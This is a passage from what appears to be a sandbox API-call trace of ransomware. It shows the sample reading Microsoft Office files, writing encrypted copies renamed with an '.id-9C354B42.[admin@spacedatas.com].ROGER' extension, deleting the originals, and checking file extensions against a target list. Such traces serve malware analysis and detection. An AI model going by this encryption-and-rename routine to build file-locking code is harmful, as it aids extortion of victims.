controller\\visior\\visiorww.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0045.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0045.776] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.776] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0045.776] GetLastError () returned 0x0 [0045.776] ReadFile (in: hFile=0x3a8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x2213, lpOverlapped=0x0) returned 1 [0045.778] WriteFile (in: hFile=0x3d4, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x2220, lpOverlapped=0x0) returned 1 [0045.779] ReadFile (in: hFile=0x3a8, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0045.779] WriteFile (in: hFile=0x3d4, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xec, lpOverlapped=0x0) returned 1 [0045.779] SetEndOfFile (hFile=0x3d4) returned 1 [0045.779] CloseHandle (hObject=0x3d4) returned 1 [0045.779] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0045.779] SetEndOfFile (hFile=0x3a8) returned 1 [0045.780] CloseHandle (hObject=0x3a8) returned 1 [0045.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0045.780] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\visior\\visiorww.xml")) returned 1 [0045.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0045.780] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0045.780] lstrlenW (lpString=".doc") returned 4 [0045.780] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.780] lstrlenW (lpString=".docx") returned 5 [0045.780] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0045.780] lstrlenW (lpString=".pdf") returned 4 [0045.781] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.781] lstrlenW (lpString=".xls") returned 4 [0045.781] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.781] lstrlenW (lpString=".xlsx") returned 5 [0045.781] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0045.781] lstrlenW (lpString=".ppt") returned 4 [0045.781] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0045.781] lstrlenW (lpString=".zip") returned 4 [0045.781] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.781] lstrlenW (lpString=".rar") returned 4 [0045.781] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.781] lstrlenW (lpString=".bz2") returned 4 [0045.781] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.781] lstrlenW (lpString=".7z") returned 3 [0045.781] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0045.781] lstrlenW (lpString=".dbf") returned 4 [0045.781] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0045.781] lstrlenW (lpString=".1cd") returned 4 [0045.781] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.781] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0045.781] lstrlenW (lpString=".jpg") returned 4 [0045.782] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0045.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0045.782] lstrlenW (lpString=".doc") returned 4 [0045.782] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0045.782] lstrlenW (lpString=".docx") returned 5 [0045.782] lstrcmpiW (lpString1=".docx", lpString2="W.XML") returned -1 [0045.782] lstrlenW (lpString=".pdf") returned 4 [0045.782] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0045.782] lstrlenW (lpString=".xls") returned 4 [0045.782] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0045.782] lstrlenW (lpString=".xlsx") returned 5 [0045.782] lstrcmpiW (lpString1=".xlsx", lpString2="W.XML") returned -1 [0045.782] lstrlenW (lpString=".ppt") returned 4 [0045.782] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0045.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0045.782] lstrlenW (lpString=".zip") returned 4 [0045.782] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0045.782] lstrlenW (lpString=".rar") returned 4 [0045.782] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0045.782] lstrlenW (lpString=".bz2") returned 4 [0045.782] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0045.782] lstrlenW (lpString=".7z") returned 3 [0045.782] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0045.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0045.782] lstrlenW (lpString=".dbf") returned 4 [0045.782] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0045.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0045.782] lstrlenW (lpString=".1cd") returned 4 [0045.782] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0045.782] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\VISIOR\\VisiorWW.XML") returned 99 [0045.783] lstrlenW (lpString=".jpg") returned 4 [0045.783] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0045.783] lstrcmpiW (lpString1=".XML", lpString2=".ROGER") returned 1 [0045.783] lstrlenW (lpString="PHONE.XML") returned 9 [0045.783] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0047.125] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=1844) returned 1 [0047.125] CloseHandle (hObject=0x3e4) returned 1 [0047.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 0x20 [0047.125] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.125] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0047.126] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.126] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.126] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0047.126] GetLastError () returned 0x0 [0047.126] ReadFile (in: hFile=0x3e4, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x734, lpOverlapped=0x0) returned 1 [0047.130] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0x740, lpOverlapped=0x0) returned 1 [0047.131] ReadFile (in: hFile=0x3e4, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0047.131] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xe6, lpOverlapped=0x0) returned 1 [0047.131] SetEndOfFile (hFile=0x36c) returned 1 [0047.131] CloseHandle (hObject=0x36c) returned 1 [0047.131] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.131] SetEndOfFile (hFile=0x3e4) returned 1 [0047.132] CloseHandle (hObject=0x3e4) returned 1 [0047.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0047.132] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\lists\\1033\\phone.xml")) returned 1 [0047.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0047.132] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0047.132] lstrlenW (lpString=".doc") returned 4 [0047.132] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.132] lstrlenW (lpString=".docx") returned 5 [0047.132] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0047.132] lstrlenW (lpString=".pdf") returned 4 [0047.132] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.132] lstrlenW (lpString=".xls") returned 4 [0047.132] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.133] lstrlenW (lpString=".xlsx") returned 5 [0047.133] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0047.133] lstrlenW (lpString=".ppt") returned 4 [0047.133] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0047.133] lstrlenW (lpString=".zip") returned 4 [0047.133] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.133] lstrlenW (lpString=".rar") returned 4 [0047.133] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.133] lstrlenW (lpString=".bz2") returned 4 [0047.133] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.133] lstrlenW (lpString=".7z") returned 3 [0047.133] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0047.133] lstrlenW (lpString=".dbf") returned 4 [0047.133] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0047.133] lstrlenW (lpString=".1cd") returned 4 [0047.133] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0047.133] lstrlenW (lpString=".jpg") returned 4 [0047.133] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0047.133] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0047.133] lstrlenW (lpString=".doc") returned 4 [0047.133] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0047.133] lstrlenW (lpString=".docx") returned 5 [0047.133] lstrcmpiW (lpString1=".docx", lpString2="E.XML") returned -1 [0047.133] lstrlenW (lpString=".pdf") returned 4 [0047.133] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0047.133] lstrlenW (lpString=".xls") returned 4 [0047.134] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0047.134] lstrlenW (lpString=".xlsx") returned 5 [0047.134] lstrcmpiW (lpString1=".xlsx", lpString2="E.XML") returned -1 [0047.134] lstrlenW (lpString=".ppt") returned 4 [0047.134] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0047.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0047.134] lstrlenW (lpString=".zip") returned 4 [0047.134] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0047.134] lstrlenW (lpString=".rar") returned 4 [0047.134] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0047.134] lstrlenW (lpString=".bz2") returned 4 [0047.134] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0047.134] lstrlenW (lpString=".7z") returned 3 [0047.134] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0047.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0047.134] lstrlenW (lpString=".dbf") returned 4 [0047.134] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0047.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0047.134] lstrlenW (lpString=".1cd") returned 4 [0047.134] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0047.134] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\LISTS\\1033\\PHONE.XML") returned 77 [0047.134] lstrlenW (lpString=".jpg") returned 4 [0047.134] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0047.134] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0047.134] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0047.134] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0047.135] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=2848) returned 1 [0047.135] CloseHandle (hObject=0x3e4) returned 1 [0047.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 0x20 [0047.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0047.135] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0047.135] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.135] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.135] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0047.137] GetLastError () returned 0x0 [0047.137] ReadFile (in: hFile=0x3e4, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0xb20, lpOverlapped=0x0) returned 1 [0047.138] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xb30, lpOverlapped=0x0) returned 1 [0047.139] ReadFile (in: hFile=0x3e4, lpBuffer=0x4740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3bffed4, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesRead=0x3bffed4*=0x0, lpOverlapped=0x0) returned 1 [0047.139] WriteFile (in: hFile=0x36c, lpBuffer=0x4740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3bffc9c, lpOverlapped=0x0 | out: lpBuffer=0x4740020*, lpNumberOfBytesWritten=0x3bffc9c*=0xea, lpOverlapped=0x0) returned 1 [0047.139] SetEndOfFile (hFile=0x36c) returned 1 [0047.139] CloseHandle (hObject=0x36c) returned 1 [0047.139] SetFilePointerEx (in: hFile=0x3e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3bffec8 | out: lpNewFilePointer=0x0) returned 1 [0047.139] SetEndOfFile (hFile=0x3e4) returned 1 [0047.140] CloseHandle (hObject=0x3e4) returned 1 [0047.140] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0047.140] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\preview.gif")) returned 1 [0047.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0047.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0047.141] lstrlenW (lpString=".doc") returned 4 [0047.141] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.141] lstrlenW (lpString=".docx") returned 5 [0047.141] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.141] lstrlenW (lpString=".pdf") returned 4 [0047.141] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.141] lstrlenW (lpString=".xls") returned 4 [0047.141] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.141] lstrlenW (lpString=".xlsx") returned 5 [0047.141] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.141] lstrlenW (lpString=".ppt") returned 4 [0047.141] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0047.141] lstrlenW (lpString=".zip") returned 4 [0047.141] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.141] lstrlenW (lpString=".rar") returned 4 [0047.141] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.141] lstrlenW (lpString=".bz2") returned 4 [0047.141] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.141] lstrlenW (lpString=".7z") returned 3 [0047.141] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0047.141] lstrlenW (lpString=".dbf") returned 4 [0047.141] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0047.141] lstrlenW (lpString=".1cd") returned 4 [0047.141] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.141] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0047.141] lstrlenW (lpString=".jpg") returned 4 [0047.141] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0047.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0047.142] lstrlenW (lpString=".doc") returned 4 [0047.142] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.142] lstrlenW (lpString=".docx") returned 5 [0047.142] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0047.142] lstrlenW (lpString=".pdf") returned 4 [0047.142] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.142] lstrlenW (lpString=".xls") returned 4 [0047.142] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.142] lstrlenW (lpString=".xlsx") returned 5 [0047.142] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0047.142] lstrlenW (lpString=".ppt") returned 4 [0047.142] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0047.142] lstrlenW (lpString=".zip") returned 4 [0047.142] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.142] lstrlenW (lpString=".rar") returned 4 [0047.142] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.142] lstrlenW (lpString=".bz2") returned 4 [0047.142] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.142] lstrlenW (lpString=".7z") returned 3 [0047.142] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0047.142] lstrlenW (lpString=".dbf") returned 4 [0047.142] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0047.142] lstrlenW (lpString=".1cd") returned 4 [0047.142] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.142] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\PREVIEW.GIF") returned 72 [0047.142] lstrlenW (lpString=".jpg") returned 4 [0047.142] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.143] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0047.143] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0047.143] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3e4 [0047.143] GetFileSizeEx (in: hFile=0x3e4, lpFileSize=0x3bfff1c | out: lpFileSize=0x3bfff1c*=34916) returned 1 [0047.143] CloseHandle (hObject=0x3e4) returned 1 [0047.143] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\AXIS\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\axis\\thmbnail.png")) returned 